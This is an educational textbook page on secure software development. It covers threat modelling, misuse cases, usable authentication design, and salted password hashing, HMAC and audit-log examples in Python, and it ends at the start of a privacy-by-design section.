Benefits of Developing Secure Software
🎯 (SE-12-01, SE-12-05)
📌 Describe the benefits of developing secure software
- data protection
- minimising cyber attacks and vulnerabilities
Data Protection
Secure software design ensures that personal, financial, and proprietary data is protected from unauthorised access, modification, or destruction throughout its entire lifecycle — whether at rest in a database, in transit across a network, or in active use. Data encryption (e.g., AES-256 for stored data, TLS 1.3 for data in transit) makes intercepted data unreadable to attackers. Access controls ensure only authorised users can retrieve sensitive records. In Australia, the Privacy Act 1988 and its Australian Privacy Principles (APPs) impose legal obligations on organisations to protect personal information — failure results in significant financial penalties and mandatory breach notifications under the Notifiable Data Breaches (NDB) scheme. Beyond legal compliance, effective data protection builds user trust, which is increasingly a critical competitive advantage. A single publicised data breach can permanently destroy a brand's reputation and cause lasting customer attrition.
Minimising Cyber Attacks and Vulnerabilities
Every software vulnerability — an unintended weakness in code — represents a potential entry point for a cyber attacker. Proactively designing software to minimise vulnerabilities reduces the attack surface: the total number of possible ways an attacker could interact with or compromise a system. This is achieved through secure coding practices (input validation, parameterised queries, output encoding), regular security testing (SAST, DAST, penetration testing), and timely patching of dependencies. The economic impact of cyber attacks can be severe: incident response, legal fees, regulatory action and lost business add up, and published industry studies such as IBM's annual Cost of a Data Breach report put the average cost of a breach in the millions of dollars, although the figure differs by year, country and industry. Secure software development converts this reactive, crisis-driven cost into a predictable, manageable investment in engineering quality. Also, minimising vulnerabilities reduces an organisation's exposure to reputational damage, intellectual property theft, and the operational disruption of ransomware attacks that can halt business operations entirely.
Worked example: shrinking the attack surface
A school builds an excursion app that parents use to give consent and pay. The five design decisions below each remove a way in for an attacker, or reduce the damage if one succeeds. None of them makes the app unhackable. Together they make a successful attack rarer, harder and less harmful, which is what "secure" realistically means.
| Area | Larger attack surface | Smaller attack surface | Benefit |
|---|---|---|---|
| Sign-in | Password only, unlimited attempts | Multi-factor authentication, lockout and rate limiting | A stolen or guessed password is no longer enough, so fewer attacks succeed |
| Data collected | Full date of birth, home address and Medicare number "just in case" | Year group and one emergency contact | A breach exposes little of value (data protection) |
| Database account | The app connects as the database administrator | The app's account can only read and write the three tables it needs | A successful SQL injection cannot drop tables or read unrelated data |
| Endpoints | A test page and debug API left switched on in production | Removed from the production build | Fewer entry points to find and probe |
| Libraries | A form library that has not been updated for two years | A dependency scan in the build and updates on a schedule | Known vulnerabilities are fixed before attackers use them |
Who benefits
- Users keep control of their personal information and are less exposed to fraud, identity theft, harassment and the stress of a breach. Users of a secure app can also trust that a message or payment really came from who it says it did.
- Businesses avoid the costs of a breach (investigation, repair, legal advice, regulator attention, lost customers) and the disruption of ransomware. They also meet their legal duties under the Privacy Act 1988 and can win contracts from customers who check a supplier's security first.
- Society depends on software to run hospitals, banks, power and water. Secure software keeps those services available and keeps the personal information of millions of people out of criminal hands. Section 17 evaluates the legal and ethical side of this in more detail.
Software Development Steps for Secure Code
🎯 (SE-12-01, SE-12-06)
📌 Interpret and apply fundamental software development steps to develop secure code
- requirements definition
- determining specifications
- design
- development
- integration
- testing and debugging
- installation
- maintenance
Requirements Definition
The team identifies the problem, the target audience, and the critical security and regulatory compliance needs (e.g., the Australian Privacy Principles and, where people in the EU are affected, the GDPR) before any architecture is planned. Security requirements must be explicit at this stage — not assumed. For example, a hospital booking system must define that patient medical records are strictly confidential, accessible only to authorised practitioners, and that all access must be audit-logged.
Tools used
- Storyboards map secure user navigation flows
- Process Diaries log initial stakeholder meetings and security constraints
Determining Specifications
Defining the precise technical boundaries, hardware constraints, and cryptographic protocols to be used (e.g., AES-256 for storage, TLS 1.3 for transit, bcrypt for password hashing). Specifications must include the maximum input lengths, permitted character sets, and data formats for every user-facing field. A Data Dictionary is created at this stage to define the exact size, format, type, and validation rules for every data field — for example, specifying that a password hash field stores exactly 60 characters in bcrypt format, preventing buffer overflow vulnerabilities from incorrectly sized fields.
Design
Creating the blueprint for the secure software architecture. This involves threat modelling — systematically identifying all possible attack vectors against the system using frameworks such as STRIDE (Spoofing, Tampering, Repudiation, Information Disclosure, Denial of Service, Elevation of Privilege). The design phase applies "Security by Design" so security controls are built into the architecture, not bolted on afterward. For example, the authentication flow is designed to automatically lock an account after five failed attempts to prevent brute-force attacks.
Tools used
- Data Flow Diagrams (DFDs) track how sensitive data moves between user, server, and database
- Structure Charts map the hierarchy of secure modules
- Decision Trees model complex authorisation logic
Development
The coding phase where programmers apply defensive data input handling, input sanitisation, parameterised queries, and secure session management in every function that handles external data. Developers follow secure coding standards (e.g., OWASP Top 10 guidance) and use version control (Git) to track every change with a full audit trail. For example, all database queries use parameterised statements rather than string concatenation, removing the main cause of SQL injection vulnerabilities. IDE debugging tools — breakpoints, watches, and single-line stepping — are used to trace the execution of security-critical logic.
Integration
Combining isolated modules and connecting the software to external services safely. This phase ensures that internal microservices and third-party APIs exchange data securely — API keys must never appear in client-side code or version control history. For example, integrating a payment gateway (such as Stripe) uses OAuth 2.0 tokens so the main application never handles raw credit card numbers — liability and PCI-DSS scope are reduced significantly. CI/CD (Continuous Integration/Continuous Deployment) pipelines run automated security scans on every code merge to catch newly introduced vulnerabilities before they reach production.
Testing and Debugging
Rigorously evaluating the software to expose vulnerabilities before deployment. Code is tested against malformed, boundary-exceeding, and malicious inputs to ensure it fails securely — never exposing internal stack traces or system information to the user. For example, sending massive randomised strings into web forms tests for buffer overflow susceptibility; submitting SQL metacharacters tests injection prevention; simulating concurrent requests tests for race conditions. SAST tools scan the source code statically; DAST tools attack the running application from the outside; penetration testers simulate real-world attacker techniques.
Installation
Deploying the software to the live production environment with a hardened configuration. "Hardening" involves closing all unused network ports, disabling default accounts and guest access, removing development tools and debug interfaces from production builds, and configuring firewalls and intrusion detection systems. For example, a web application is deployed behind a Web Application Firewall (WAF) within a Demilitarised Zone (DMZ), with all server communication over encrypted SSH channels. The principle of least privilege is applied — the application's database user account has only the specific permissions required to function, not full administrative rights.
Maintenance
The longest phase of the SDLC. Involves continuous security monitoring via Security Information and Event Management (SIEM) dashboards, responding to newly discovered vulnerabilities in third-party dependencies, rotating cryptographic keys on schedule, and developing and deploying patches for zero-day exploits. For example, when a critical vulnerability (CVE) is published in an open-source library the application depends on, an emergency patch is developed, tested and deployed as fast as the organisation's patching policy requires, often within days for critical flaws. Log Books and Process Diaries meticulously document every breach response action and recovery procedure for regulatory compliance and post-incident review.
Process diagram
Security checks through the development steps
A security gate follows each step, and work goes back when a gate fails.
What to notice
- Security is checked at every step, not only in final testing.
- Fixing a problem at a gate is much cheaper than after release.
Try thisWhich gate would most likely catch an SQL injection flaw, and why?
The secure development lifecycle at a glance
A secure development lifecycle does not add new steps to the SDLC. It adds a security activity, and something you can show as evidence, to every step that already exists. This is the same idea as the security gates in the diagram above.
| Step | Security activity | Evidence produced |
|---|---|---|
| Requirements definition | Classify how sensitive the data is, list legal duties (Privacy Act 1988 and the APPs), write misuse cases and security requirements | Security requirements list; start of a privacy impact assessment |
| Determining specifications | Fix the cryptography, password and session rules; put validation rules in the data dictionary | Data dictionary with type, length and range rules |
| Design | Threat model with a data flow diagram and STRIDE; choose authentication and authorisation; apply least privilege and secure defaults | Threat model; design review notes |
| Development | Follow a secure coding standard, keep secrets out of source code, peer review every change | Reviewed pull requests; SAST results |
| Integration | Scan third-party libraries, protect API keys, check every interface between modules | Dependency report; integration test results |
| Testing and debugging | Write security test cases; run DAST and a vulnerability assessment; arrange a penetration test for high-risk systems | Test log; prioritised list of findings |
| Installation | Apply a hardened configuration, remove default accounts, give the app a least-privilege database account, confirm backups work | Signed-off deployment checklist |
| Maintenance | Monitor logs, patch quickly, review who has access, run the incident response plan, delete data that is no longer needed | Patch log; incident reports |
Misuse cases turn worries into requirements
A use case says what a legitimate user wants to do. A misuse case says what an attacker will try against the same feature. Writing both during requirements definition gives the team a testable security requirement instead of a vague wish to "be secure".
| Use case | Misuse case | Security requirement | How it is tested |
|---|---|---|---|
| A student views their own marks | Changes /marks/1042 to /marks/1043 in the address bar to read someone else's | The server checks that the requested record belongs to the signed-in student on every request | Sign in as student A, request student B's record, expect 403 Forbidden |
| A parent pays an excursion fee | Edits the request so the amount is $1 | The server works out the amount; card details go straight to the payment provider | Send an altered amount, expect rejection |
| A teacher uploads a worksheet | Uploads a script renamed worksheet.jpg | Allowlist of file types; files stored outside the web folder under random names | Upload a disguised script, expect rejection |
| Staff sign in | Tries thousands of leaked passwords | Rate limiting, lockout and multi-factor authentication | Script 20 rapid failures, expect a lockout or 429 |
Threat modelling with STRIDE: a worked example
Draw the data flow diagram first, then take each part (external entity, process, data store and data flow) and ask which STRIDE threats could apply to it. Below, the threats are applied to a school marks website. The letter names the threat; the security concept it damages is in the second column.
| STRIDE threat | Concept damaged | Example against the marks site | Typical control |
|---|---|---|---|
| Spoofing | Authentication | An attacker signs in as a teacher using a stolen password | Multi-factor authentication; lockout |
| Tampering | Integrity | A student changes the mark field in a request | Server-side validation and authorisation; parameterised queries |
| Repudiation | Accountability | A user denies having changed a mark | Tamper-evident audit log |
| Information disclosure | Confidentiality | An error page prints the database connection string | Generic error messages; encryption; access control |
| Denial of service | Availability | A flood of requests on results day | Rate limiting; scalable hosting; DDoS protection |
| Elevation of privilege | Authorisation | A student reaches a teacher-only page by guessing its address | Role-based access control; deny by default |
How End Users Influence Secure Design
🎯 (SE-12-01, SE-12-07)
📌 Describe how the capabilities and experience of end users influence the secure design features of software
A technically perfect security system that users cannot or will not use correctly provides no real protection. Engineers must design security features that are robust and usable — the two goals must be balanced, not traded off against each other.
Novice Users
Users with low technical literacy require guided, intuitive security flows. If a password policy demands 16+ characters with special symbols but provides no password strength indicator, users will choose simple, guessable passwords or reuse passwords from other sites. Design response: embed real-time password strength meters, offer integration with password managers, and use biometric authentication (fingerprint, Face ID) to eliminate the password burden entirely where appropriate.
Experienced Users
Technical users may bypass restrictive security controls if they impede productivity — for example, using shared accounts to avoid repeated MFA prompts. Design response: offer trusted device registration (so MFA is only required on new devices), provide API token access for developers rather than forcing GUI logins, and support hardware security keys (FIDO2/WebAuthn) for the fastest and most secure authentication experience.
Users with Disability
CAPTCHA challenges that rely on image recognition or audio discrimination may be inaccessible to users with visual or auditory impairments. Time-limited security prompts may disadvantage users with cognitive or motor disabilities. Design response: provide alternative accessible CAPTCHA options, extend timeout periods, ensure all security flows are keyboard-navigable, and test with screen readers to verify accessibility.
Context of Use
A user completing a mobile banking transaction in a noisy, public environment cannot safely respond to an SMS-based OTP if their phone screen is visible to bystanders. Engineers must consider the physical and social context in which security features are used — offering push notification authentication (tap to approve on a trusted device) rather than displaying a readable code on screen in high-risk public contexts.
Designing for real users: worked examples
The cards above describe the users. The table shows how the same security goal can be met badly or well once you think about who is using the software and where.
| Situation | Design that fights the user | Design that works with the user | Why it matters |
|---|---|---|---|
| Failed sign-in | "That username does not exist" then "Wrong password" | "Incorrect username or password" every time | The first version tells an attacker which usernames are real (user enumeration). The single message also helps every user by being simple. |
| Password rules | Must contain a symbol; must change every 30 days | Long passphrases allowed, common passwords blocked, pasting and password managers allowed | Forced complexity produces patterns such as Password1!. Current NIST guidance (SP 800-63B) favours length and a blocklist over composition rules and routine changes. |
| Account recovery | Security questions such as "first pet's name" | A time-limited one-time link or recovery code sent to a registered address | The answers to security questions are often findable on social media. |
| Time limits | A two-minute form timeout with no warning | A warning before expiry and a way to extend the time | People using screen readers or switch access, or who need longer to read, are locked out otherwise. |
| Shared computers | "Keep me signed in" ticked by default | Off by default; automatic sign-out after inactivity | A school library computer is used by many people in a day. |
| Warnings | A pop-up on every action | A plain-language warning only for risky actions, with a clear next step | Users who see constant warnings learn to click through all of them. |
A password check that supports users rather than punishing them can be written in a few lines. It rewards length, blocks the most common choices and never insists on symbols:
COMMON = {"password", "password1", "password123", "12345678", "qwertyuiop", "iloveyou123"}
def check_password(password, username):
"""Return a list of problems; an empty list means the password is acceptable."""
problems = []
if len(password) < 12:
problems.append("use at least 12 characters (longer is better)")
if password.lower() in COMMON:
problems.append("this is one of the most commonly used passwords")
if username.lower() in password.lower():
problems.append("do not include your username")
return problems # no forced symbols and no forced changes: they push people to weak patterns
for pw in ("Password123", "purple-tractor-holiday", "ava_n2008!"):
result = check_password(pw, "ava_n")
print(f"{pw:24}", result if result else "OK")
Password123 ['use at least 12 characters (longer is better)', 'this is one of the most commonly used passwords']
purple-tractor-holiday OK
ava_n2008! ['use at least 12 characters (longer is better)', 'do not include your username']
The Password123 example fails for two reasons a user can act on, and the passphrase passes without a single symbol. The message text itself is part of the design: it says what to do, not just what went wrong.
Security Concepts in Software Design
🎯 (SE-12-04)
📌 Explore fundamental software design security concepts when developing programming code
- confidentiality
- integrity
- availability
- authentication
- authorisation
- accountability
Confidentiality
Ensuring data is accessible only to authorised entities. Implementation: Data encryption (AES-256 at rest; TLS 1.3 in transit), role-based access control (RBAC), and data classification policies that restrict who can query which database tables. Example: Patient medical records in a hospital system are encrypted and accessible only to the treating clinician — even database administrators cannot view the plaintext content.
Integrity
Guaranteeing that data has not been maliciously or accidentally altered without detection. Implementation: Cryptographic hashing (SHA-256, SHA-3) generates a unique fingerprint of data; any modification produces a completely different hash, immediately revealing tampering. Digital signatures further bind the hash to a verified sender. Example: A software update package is published with its SHA-256 hash; users verify the hash after downloading to confirm the file has not been corrupted or modified by an attacker.
Availability
Ensuring that systems remain operational and accessible to authorised users when needed. Implementation: Redundant server infrastructure, load balancers, DDoS mitigation services (e.g., Cloudflare), rate limiting, and disaster recovery plans with defined Recovery Time Objectives (RTOs). Example: A banking platform uses auto-scaling cloud infrastructure to absorb traffic spikes during tax season, and Cloudflare absorbs volumetric DDoS attacks before they reach the application servers.
Authentication
Verifying the identity of a user or system before granting access. Implementation: Password hashing (bcrypt with salt), Multi-Factor Authentication (MFA — something you know + something you have/are), biometrics, and hardware security keys. Example: A corporate VPN requires employees to enter their password and then approve a push notification on their registered smartphone — two independent factors that an attacker would need to compromise simultaneously.
Authorisation
Determining what an authenticated user is permitted to do — enforcing the principle of least privilege. Implementation: Role-Based Access Control (RBAC) assigns permissions to roles (Admin, Editor, Viewer) rather than individuals; users are assigned the minimum role required for their function. Example: A content management system grants "Editor" users the ability to create and edit posts, but not to delete them or manage other user accounts — those actions are restricted to the "Admin" role.
Accountability
Tracing every action back to a specific authenticated user through immutable audit logs, ensuring non-repudiation — a user cannot deny having performed an action that was logged. Implementation: Append-only audit log tables recording user ID, timestamp, action type, and affected resource for every sensitive operation. Example: A financial system records every account transfer with the authenticated user's ID, the exact timestamp, source account, destination account, and amount — providing an unalterable chain of evidence for forensic investigation.
Table
Threats and the controls that answer them
Each common attack targets one security concept, and each has a matching control.
| Attack | Security concept at risk | Control that reduces it |
|---|---|---|
| Data breach | Confidentiality | Encryption of stored and transmitted data |
| SQL injection that changes records | Integrity | Parameterised queries; digital signatures on data |
| Denial of service | Availability | Rate limiting and DDoS protection |
| Stolen password | Authentication | Multi-factor authentication |
| User gains admin rights | Authorisation | Role-based access control, least privilege |
| Attacker deletes logs | Accountability | Write-once (immutable) audit logs |
What to notice
- Read across: attack → concept at risk → control.
- One control, such as MFA, can protect more than one concept.
Try thisWhere would a phishing attack fit, and what control reduces it?
Short, beginner-friendly explainers on how encryption protects confidentiality and why passwords must be hashed and salted — not stored as plain text.
Worked example: an audit log you can trust
Accountability only works if the log itself cannot be quietly edited. One simple technique is to chain the entries: each entry's hash is calculated from the entry and the hash of the one before it, so changing any old entry breaks every hash after it. This one small program uses integrity (hashing) to deliver accountability (a trustworthy record of who did what).
import hashlib
import json
def entry_hash(entry, previous_hash):
text = previous_hash + json.dumps(entry, sort_keys=True)
return hashlib.sha256(text.encode()).hexdigest()
log = [] # list of (entry, hash) pairs
def audit(user, action, resource, when):
previous = log[-1][1] if log else "start"
entry = {"user": user, "action": action, "resource": resource, "time": when}
log.append((entry, entry_hash(entry, previous))) # each entry is chained to the one before
def verify_chain():
previous = "start"
for number, (entry, stored) in enumerate(log, start=1):
if entry_hash(entry, previous) != stored:
return f"tampering detected at entry {number}"
previous = stored
return "log intact"
audit("ms_lee", "edit_marks", "class 12A", "2026-03-02T09:14")
audit("ms_lee", "view_marks", "class 12B", "2026-03-02T09:20")
audit("ava_n", "view_marks", "own record", "2026-03-02T10:02")
print(verify_chain())
log[0][0]["user"] = "someone_else" # an attacker edits history
print(verify_chain())
log intact
tampering detected at entry 1
A real system would also write the log to a separate, append-only store that the application account cannot modify, and copy it off the server. Chaining shows tampering; it does not by itself prevent it.
Sorting scenarios into the six concepts
| Scenario | Concept | Reason |
|---|---|---|
| A student's marks are hidden from every other student | Confidentiality | Only authorised people can read the data. |
| A checksum shows a downloaded installer has been altered | Integrity | Unauthorised changes are detected. |
| The results website stays up when thousands of students log in at once | Availability | The service is usable when needed. |
| A user proves who they are with a password and a code from an app | Authentication | Identity is verified before access. |
| Only teachers see the "Edit marks" button | Authorisation | An identified user is limited to permitted actions. |
| The system records that user 1042 changed a mark at 9:14 am | Accountability | Actions can be traced to a person. |
Try it
Which security concept?
Practise naming confidentiality, integrity, availability, authentication, authorisation and accountability. Enable JavaScript to use this tool. In short: authentication is who you are, authorisation is what you may do, and accountability is proof of what you did.
Applying Security Features
🎯 (SE-12-04, SE-12-07)
📌 Apply security features incorporated into software including data protection, security, privacy and regulatory compliance
Security features are the parts of a program that protect people and their data. Most secure software combines four kinds, and each one answers a different question.
| Feature | The question it answers | Example in code |
|---|---|---|
| Data protection | Is the data safe if someone gets hold of it? | Hashing passwords with bcrypt; encrypting a database column that stores Medicare numbers. |
| Security | Can only the right people do the right things? | Login with multi-factor authentication; role checks before an admin page loads. |
| Privacy | Are we collecting and keeping only what we need? | Asking for a year of birth instead of a full date; deleting inactive accounts after two years. |
| Regulatory compliance | Does the software meet the law and industry rules? | A breach-notification process under the Notifiable Data Breaches scheme; PCI DSS rules for card payments. |
Data protection in code: hashing passwords with a salt
A website should never be able to tell you your password, because it should never have stored it. It stores a hash instead: a one-way fingerprint of the password. Two extra ideas make a stolen table of hashes much harder to use:
- A salt is a random value, different for every user, that is mixed in before hashing and stored beside the hash. It is not secret. Its job is to make the same password hash to a different value for every user, so an attacker cannot use one pre-built lookup table (a rainbow table) against the whole database and must attack each account separately.
- A slow hash function (a key derivation function such as PBKDF2, bcrypt or Argon2) repeats the calculation many thousands of times. That costs a real user a fraction of a second, but it multiplies the cost of every guess an attacker makes. A fast hash such as plain SHA-256 or MD5 is the wrong tool for passwords because attackers can try huge numbers of guesses per second.
The standard library provides hashlib.pbkdf2_hmac, secrets for random values and hmac.compare_digest for a constant-time comparison, so the whole idea can be shown without installing anything:
import hashlib
import hmac
import secrets
ITERATIONS = 600_000 # slows down every guess an attacker makes
def hash_password(password, salt=None):
if salt is None:
salt = secrets.token_bytes(16) # a new random salt for every user
digest = hashlib.pbkdf2_hmac("sha256", password.encode("utf-8"), salt, ITERATIONS)
return salt.hex() + "$" + digest.hex() # store the salt beside the hash
def verify_password(password, stored):
salt_hex, digest_hex = stored.split("$")
salt = bytes.fromhex(salt_hex)
candidate = hashlib.pbkdf2_hmac("sha256", password.encode("utf-8"), salt, ITERATIONS)
return hmac.compare_digest(candidate.hex(), digest_hex) # constant-time compare
# Unsalted: the same password always gives the same hash, so one lookup table cracks many users
print(hashlib.sha256(b"password123").hexdigest()[:16])
print(hashlib.sha256(b"password123").hexdigest()[:16])
# Salted: two users with the same password get different stored values
a = hash_password("password123")
b = hash_password("password123")
print(a != b)
print(len(a), len(b))
print(verify_password("password123", a))
print(verify_password("Password123", a))
ef92b778bafe771e
ef92b778bafe771e
True
97 97
True
False
The first two lines show why an unsalted hash is weak: the same input always gives the same hash. Lines 3 and 4 show that two identical passwords now produce different stored values (each 97 characters here: 32 for the salt, one separator and 64 for the hash). The last two lines are the login check, which repeats the calculation with the stored salt.
bcrypt and argon2-cffi packages) are the recommended choices and handle the salt for you. The iteration count above (600,000) follows the OWASP Password Storage Cheat Sheet at the time of writing; recommended numbers rise as computers get faster, so check the current guidance. Hashing protects passwords. To protect other stored data such as a Medicare number, use encryption from a well-reviewed library (for example, the cryptography package), and keep the key somewhere other than the database.Security in code: the login decision
Authentication and lockout come together in one small algorithm. In NESA pseudocode, with each nested decision written as an ELSE containing an IF and one ENDIF for every IF:
FUNCTION checkLogin(username, password)
IF accountIsLocked(username) THEN
RETURN "Try again later"
ELSE
IF NOT validFormat(username, password) THEN
RETURN "Incorrect username or password"
ELSE
IF hashOf(password, salt) = storedHash THEN
failures ← 0
RETURN "Welcome"
ELSE
failures ← failures + 1
RETURN "Incorrect username or password"
ENDIF
ENDIF
ENDIF
END FUNCTION
Notice the order. A locked account is refused before the password is even checked, bad input is rejected before it reaches the database, and both failure paths give the same message so an attacker learns nothing about which part was wrong. Section 13 shows the lockout counter as Python, and the sign-in flow appears again in the safe API section.
Privacy in code: collect and keep less
Privacy features are mostly decisions about what not to store. The canteen app in the scenario above needs a first name and a year group, not a date of birth. The privacy by design section shows this as working code, including keeping analytics data pseudonymised and deleting old accounts on a schedule.
Regulatory compliance: what the software has to do
Compliance is not a form filled in after the code is written. Each legal duty becomes something the software does, so it can be designed, built and tested like any other requirement. The Australian Privacy Principles (APPs) in the Privacy Act 1988 are the main source for software that handles personal information.
| Duty (source) | What it means in plain language | Feature it becomes |
|---|---|---|
| APP 3 Collection | Collect only personal information that is reasonably necessary for what the organisation does | Forms with no optional "just in case" fields; a reviewed data dictionary |
| APP 6 Use and disclosure | Use information for the purpose it was collected, unless an exception applies | Purpose tags on data; access limited by role; no automatic sharing with third parties |
| APP 11 Security | Take reasonable steps to protect information from misuse, interference, loss and unauthorised access, modification or disclosure, and to destroy or de-identify it when no longer needed | Encryption, access control, logging, a deletion or de-identification job |
| APPs 12 and 13 Access and correction | People can ask to see and correct their information | An export function and an edit screen, with identity checks |
| NDB scheme (Part IIIC of the Privacy Act) | Assess suspected breaches quickly and notify the OAIC and affected people when an eligible data breach occurs | Logging and alerting that can show what was accessed; an incident response plan |
| PCI DSS (an industry standard, not a law) | Rules from the card payment industry for anyone handling card numbers | Use a payment provider so card numbers never touch your own database |
Only some organisations are covered by the Privacy Act (it applies to Australian Government agencies and to many private organisations, including all health service providers and most businesses above an annual turnover threshold), so a real project starts by checking whether the law applies. NSW public sector agencies, including public schools, are covered by NSW privacy laws instead (the Privacy and Personal Information Protection Act 1998 and the Health Records and Information Privacy Act 2002). Treat the table as a study aid, not legal advice.
Security by Design: Cryptography and Sandboxing
🎯 (SE-12-03, SE-12-04)
📌 Use and explain the contribution of cryptography and sandboxing to the ‘security by design’ approach in the development of software solutions
Cryptography in Security by Design
Cryptography is the practice of securing information by transforming it into an unreadable form for anyone who does not hold the decryption key. In security-by-design, cryptography is not an optional add-on — it is specified in the requirements phase and embedded in the architecture from the first line of code.
Concept diagram
Symmetric and asymmetric encryption
Symmetric encryption uses one shared key; asymmetric uses a public and private key pair. HTTPS uses both.
What to notice
- Symmetric is fast but the key must be shared safely.
- Asymmetric solves key sharing, so HTTPS uses it to exchange a symmetric session key.
Try thisWhy not use asymmetric encryption for the whole HTTPS session?
A clear, plain-English analogy for how public and private keys work together — the foundation of asymmetric encryption and TLS/HTTPS.
Cryptography in practice: hashing, signing and comparing
Choosing the right tool matters more than the maths. The rules below summarise how cryptography is used inside secure software:
- Never invent your own algorithm. Use vetted libraries and protocols. A home-made cipher can look convincing and be trivially broken. Security does not depend on keeping the algorithm secret; it depends on keeping the key secret.
- Hash what you never need to read back (passwords). Encrypt what you do (a Medicare number the clinic must display). Hashing is one-way; encryption is reversible with the key.
- Protect the keys. Keys belong in a secrets manager or environment variable, never in source code or the same database as the data they protect, and they should be rotated.
- Use a secure random source. Python's
secretsmodule is designed for tokens, salts and session IDs. Therandommodule is predictable and must not be used for security. - Encoding is not encryption. Base64 only changes how bytes are written down; anyone can reverse it with no key.
A plain hash such as SHA-256 can show that a file was not corrupted, but an attacker who changes a message can simply recompute the hash. An HMAC mixes a secret key into the hash, so only someone who holds the key can produce a valid tag. That gives integrity (the message was not changed) and authenticity (it came from a key holder). Digital signatures use a public and private key pair instead, which adds non-repudiation because only the private key holder could have signed.
import hashlib
import hmac
SHARED_KEY = b"demo-key-not-for-real-use" # real keys come from a secrets manager
def sign(message):
return hmac.new(SHARED_KEY, message, hashlib.sha256).hexdigest()
def verify(message, tag):
return hmac.compare_digest(sign(message), tag)
order = b"pay:20:canteen"
tag = sign(order)
print(verify(order, tag)) # untouched message
print(verify(b"pay:2000:attacker", tag)) # changed message, old tag
print(hashlib.sha256(order).hexdigest()[:16]) # a plain hash: anyone can recompute it
True
False
886f9ea01a9435fd
The tampered order fails verification even though the attacker kept the original tag. The comparison uses hmac.compare_digest so the check itself does not leak information through timing (see the side channel section).
Try it
Hashing and salting
Compute SHA-256 hashes, change one letter, and see why a unique salt protects passwords. Enable JavaScript to use this tool. In short: a hash is a one-way fingerprint, any change gives a completely different hash, and a unique salt stops equal passwords having equal hashes.
Sandboxing in Security by Design
Sandboxing executes potentially untrusted code in a strictly isolated, restricted environment that has no access to the host operating system, filesystem, network, or other running processes unless explicitly permitted. If the sandboxed code is malicious or compromised, it cannot escape the sandbox to cause broader harm. Security-by-design embeds sandboxing as an architectural decision for any component that handles untrusted external input.
Browser Sandboxing
Modern browsers run web pages in sandboxed processes, typically separating sites and tabs from the operating system and from each other. A malicious website cannot read files from your hard drive or access memory used by your banking tab. This is sandboxing applied at the operating system level — foundational to web security.
Container Isolation
Docker containers sandbox applications from each other on the same server. A compromised web application container cannot access the database container's files or the host's root filesystem. This limits the blast radius of a successful attack to a single isolated service.
Code Execution Sandboxes
Online coding platforms (e.g., Replit, LeetCode) execute user-submitted code inside sandboxes — preventing a malicious user's code from reading other users' data or compromising the host server. The sandbox enforces CPU time limits, memory limits, and network access restrictions.
Limits of sandboxing
A sandbox reduces damage; it does not remove the need for other defences. Designers decide what to restrict and what to allow through, and the list below is the usual set of dials:
| What is restricted | Example |
|---|---|
| Files | The code can see one scratch folder and nothing else on the disk |
| Network | No outgoing connections, or only to one named server |
| Resources | A cap on CPU time, memory and running time, so an infinite loop cannot take the server down |
| System actions | The code cannot start other programs or change system settings |
| Privileges | It runs as an ordinary account with no administrator rights |
- Containers isolate applications but share the host's operating system kernel, so their isolation is weaker than a full virtual machine. A flaw in the shared kernel can, in principle, let code escape.
- Sandbox escapes are real vulnerabilities that get patched, which is why sandboxing is combined with least privilege and patching rather than trusted alone.
- A timeout in your own code is not a sandbox. Calling
subprocess.run(..., timeout=2)limits how long a program runs, but it does not stop that program reading files or using the network. True isolation comes from the operating system, a container or a virtual machine. - On the web, the HTML
sandboxattribute applies the same idea to embedded content. An<iframe src="widget.html" sandbox="allow-scripts">may run scripts but is cut off from the page's cookies and storage, and cannot submit forms or open pop-ups unless those permissions are added.
Principles of security by design, with examples
Cryptography and sandboxing are two techniques. They work best when the whole design follows a small set of principles that experienced security engineers keep returning to:
| Principle | What it means | Example in a school marks system |
|---|---|---|
| Least privilege | Every user and program gets only the access needed for its job | The web app's database account can read and update marks but cannot drop tables |
| Defence in depth | Several independent layers, so one failure is not fatal | Validation, parameterised queries and a least-privilege account all guard against SQL injection |
| Fail securely (deny by default) | When something goes wrong or is not covered, the answer is "no" | An unknown role gets no permissions, and a crashed permission check refuses access |
| Secure by default | The out-of-the-box settings are the safe ones | New accounts start with the lowest role and no sharing |
| Minimise the attack surface | Remove features, ports and data you do not need | Debug pages are removed from the production build |
| Never trust input | Treat everything from outside the program as untrusted until checked | The server re-validates every field, even if the browser already did |
| Separation of duties | No single person can complete a sensitive action alone | The person who changes a mark is not the person who approves changes |
| Keep it simple | Complexity hides flaws, so choose the simplest design that works | One shared permission function instead of role checks copied into fifty pages |
"Fail securely" is the easiest principle to see in code. The permission check below only returns True when it finds a positive reason; every surprise ends in a refusal.
PERMISSIONS = {
"teacher": {"view_marks", "edit_marks"},
"student": {"view_marks"},
}
def can(role, action):
# Deny by default: an unknown role or action gets nothing
return action in PERMISSIONS.get(role, set())
def edit_marks(role):
if not can(role, "edit_marks"):
return "403 Forbidden"
return "marks updated"
print(edit_marks("teacher"))
print(edit_marks("student"))
print(edit_marks("intern")) # a role nobody planned for
print(edit_marks(None)) # a bug elsewhere passes nothing at all
marks updated
403 Forbidden
403 Forbidden
403 Forbidden
Compare the opposite design, if role == "student": deny; else: allow. It allows the unexpected "intern" role and the missing role, which is exactly how privilege problems appear.
Privacy by Design
🎯 (SE-12-04, SE-12-05)
📌 Use and explain the ‘privacy by design’ approach in the development of software solutions
- proactive not reactive approach
- embed privacy into design
- respect for user privacy
Privacy by Design (PbD), developed by Dr Ann Cavoukian, is a framework that treats privacy not as a legal compliance afterthought, but as a fundamental design requirement embedded into the architecture of software systems from the outset. Its ideas appear in privacy law: the GDPR (Article 25) requires data protection by design and by default, and the Australian Privacy Principles require similar practices (see below).
Proactive Not Reactive Approach
A proactive approach means anticipating and preventing privacy violations before they occur, rather than detecting and remedying them after the fact. In practice, this means conducting a Privacy Impact Assessment (PIA) during the requirements phase — before architecture is finalised — to identify every point at which personal data enters, is processed, stored, or exits the system. Each data flow is scrutinised: Is this data actually necessary? Could we achieve the same outcome with anonymised or aggregated data? Could we collect less? By identifying and eliminating unnecessary data collection before code is written, engineers prevent entire categories of privacy risk from ever materialising. For example, a fitness app that collects precise GPS location for route tracking should ask: can we achieve the feature with neighbourhood-level precision rather than exact coordinates? Reducing data granularity proactively reduces the consequences of any future breach.
Embedding Privacy into Design
